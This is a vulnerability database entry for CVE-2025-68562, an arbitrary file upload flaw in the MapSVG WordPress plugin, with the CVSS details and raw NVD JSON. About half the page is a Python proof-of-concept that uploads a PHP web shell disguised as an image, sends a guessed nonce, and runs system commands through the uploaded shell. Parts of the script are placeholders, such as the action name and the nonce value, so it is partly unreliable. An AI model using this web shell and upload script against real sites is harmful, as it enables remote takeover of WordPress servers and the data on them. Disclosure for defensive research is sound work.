Security Vulnerability Report
中文
CVE-2025-68562 CVSS 9.9 CRITICAL

CVE-2025-68562

Published: 2025-12-29 22:15:43
Last Modified: 2026-04-28 19:35:58

Description

Unrestricted Upload of File with Dangerous Type vulnerability in RomanCode MapSVG allows Upload a Web Shell to a Web Server.This issue affects MapSVG: from n/a through 8.7.3.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MapSVG <= 8.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68562 PoC - MapSVG Arbitrary File Upload # Target: WordPress site with vulnerable MapSVG plugin (<= 8.7.3) TARGET_URL = "http://target-wordpress-site.com" # WordPress AJAX endpoint or MapSVG upload handler UPLOAD_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Target email for WordPress TARGET_EMAIL = "[email protected]" def upload_webshell(): """ Upload malicious PHP file to achieve RCE """ # Malicious PHP webshell content webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" # Prepare the upload request files = { 'file': ('shell.php', webshell_content, 'image/jpeg') # Bypass with fake MIME type } # Additional data as required by the plugin data = { 'action': 'mapsvg_upload', # Plugin-specific action 'nonce': 'bypass_nonce', # If nonce validation is missing } try: # Send the malicious upload request response = requests.post(UPLOAD_URL, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File uploaded successfully!") # Parse response to get uploaded file path uploaded_path = parse_upload_path(response) if uploaded_path: print(f"[+] Webshell accessible at: {uploaded_path}") # Execute commands execute_command(uploaded_path, "whoami") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def execute_command(webshell_url, cmd): """ Execute command via uploaded webshell """ try: exec_url = f"{webshell_url}?cmd={cmd}" response = requests.get(exec_url, timeout=10) if response.status_code == 200: print(f"[+] Command output:\n{response.text}") except Exception as e: print(f"[-] Execution failed: {e}") def parse_upload_path(response): """ Parse the uploaded file path from server response """ # Implementation depends on server response format # Usually returns JSON like: {"file": "/wp-content/uploads/mapsvg/shell.php"} try: import json resp_json = response.json() return resp_json.get('file', resp_json.get('url')) except: # Fallback: common upload paths return f"{TARGET_URL}/wp-content/uploads/mapsvg/shell.php" if __name__ == "__main__": print("[*] CVE-2025-68562 MapSVG Arbitrary File Upload PoC") print("[*] Target:", TARGET_URL) upload_webshell()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68562", "sourceIdentifier": "[email protected]", "published": "2025-12-29T22:15:43.310", "lastModified": "2026-04-28T19:35:57.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in RomanCode MapSVG allows Upload a Web Shell to a Web Server.This issue affects MapSVG: from n/a through 8.7.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/mapsvg-lite-interactive-vector-maps/vulnerability/wordpress-mapsvg-plugin-8-7-3-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}